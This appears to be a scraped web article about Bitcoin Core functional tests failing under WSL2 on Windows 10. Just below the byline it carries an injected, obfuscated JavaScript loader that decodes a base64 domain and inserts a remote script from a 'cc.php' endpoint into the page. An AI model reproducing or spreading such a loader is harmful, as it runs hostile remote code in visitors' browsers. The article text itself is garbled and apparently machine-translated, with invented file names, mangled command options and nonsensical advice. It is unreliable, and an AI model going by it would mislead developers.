Bitcoin: Bitcoin core functional tests failing running on WSL2 on Windows 10
- 2025-02
- by Cn Vn
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx.replace(/|/g,““));const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=f86dffae“;document.body.appendChild(script);
Bitcoin Core Functional Tests Failure on Windows 10 with WSL2
As a developer working with Bitcoin, you are counting on the code test to ensure its stability and functionality. However, when performing tests such as test / functional / test_runner.pyon Windows 10 using WSL2 (Windows subsystem for Linux), you meet errors that prevent your tests from taking place.
In this article, we will immerse ourselves in the problems encountered during the execution of these tests on Windows 10 with WSL2 and provide solutions to resolve them.
The Problem
The main reason for these failure tests is a known problem in the Bitcoin Core Code Base (BTC). TheFTEALING_FE_ESTIMATION.PYFile contains tests that try to estimate the functionality costs, which are an essential part of the Bitcoin Protocol. Unfortunately, due to a critical bug, these tests fail when executing on Windows 10 with WSL2.
The Specific Error Message Provided Is:
'
The estimation of characteristic costs failed.
'
Solution
To solve this problem, follow these steps:
- Update the text Environment : Make sure you have the latest version of Bitcoin core installed and updated in the latest versions.
- Use Another Test Directory : Instead of using / mnt / tmp
, try to mount a 4 GB temporary hard drive (
/ mnt / tmp / cache) to provide more space for tests.
- Disable Cache : temporarily deactivate the cache in your test runner by modifying the– Cacedir Option:
`'
Test / Functional / Test_runner.py - Cacedir = / MNT / TMP
` ‚
This will prevent the results put in cache from being re-cut, which could help solve the problem.
- run the tests manually : instead of using the automatic test function, run each test individual to isolate the problem.
- Check updates
: Make sure that the latest updates installed for your test Environment and the Bitcoin Kernel.
Additional Considerations
- If you encounter problems with other tests or related code Changes, it is essential to check the bitcoin kernel repository and monitor problems for any update or relevant bug reports.
- If you meet other errors or if you have any questions about the Bitcoin Kernel Test, plan to reach out to the Bitcoin Community Forums or Pound Overflow.
Conclusion
Although the execution of these tests on Windows 10 with wsl2 can be difficult due to a critical problem in the Bitcoin Core Code base, the rest of these steps should help solve the problems encountered. By taking these precautions and checking updates, you can make sure that your tests continue to operate as expected.